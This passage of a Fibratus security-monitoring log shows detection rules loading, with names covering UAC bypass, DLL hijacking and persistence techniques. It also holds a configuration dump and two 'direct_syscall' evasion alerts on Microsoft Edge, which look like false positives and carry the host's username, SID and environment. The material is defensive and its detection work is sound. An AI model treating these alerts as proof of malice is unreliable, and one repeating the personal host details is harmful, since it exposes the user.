C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T16:26:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T16:26:46+01:00 level=info msg=bootstrapping with pid 20168. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T16:26:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-handle=>false buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-image=>true enable-vamap=>true enable-threadpool=>false enable-registry=>true enable-audit-api=>true enable-dns=>false enable-mem=>false max-buffers=>36 enable-net=>true flush-interval=>1s stack-enrichment=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info max-age=>0] + output ......................... [ amqp=>[ timeout=>5s enabled=>false vhost=>/ routing-key=>fibratus exchange-type=>topic exchange=>fibratus durable=>false tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json method=>POST enabled=>false timeout=>5s] elasticsearch=>[ bulk-workers=>1 index-name=>fibratus template-name=>fibratus sniff=>false healthcheck-timeout=>5s trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s gzip-compression=>false healthcheck-interval=>10s flush-period=>1s] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s enabled=>false excluded-files=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-procs=>[] skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T16:26:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:26:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:32:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 14127259 + Pid: 7364 + Tid: 19900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:32:15.8569615 +0100 CET + Params: base_address➜ 7ffcbc1a0000, checksum➜ 678716, default_address➜ 7ffcbc1a0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd61923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd618af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd61966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffcdd61a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffcb85bd940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85bbb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85ba59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffcb85c7afe C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffc70cea538 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cea332 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70ce703b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cf4184 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cf325c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cd2e1c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70bfa0f3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70c1ce3e C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70caf0a7 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70cb11e4 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70d38a76 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e7453f C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T16:32:16+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 14127286 + Pid: 7364 + Tid: 8092 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 16:32:15.8607304 +0100 CET + Params: base_address➜ 7ffcd6630000, checksum➜ 144589, default_address➜ 7ffcd6630000, file_path➜ C:\Windows\System32\usermgrcli.dll, image_size➜ 94208, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 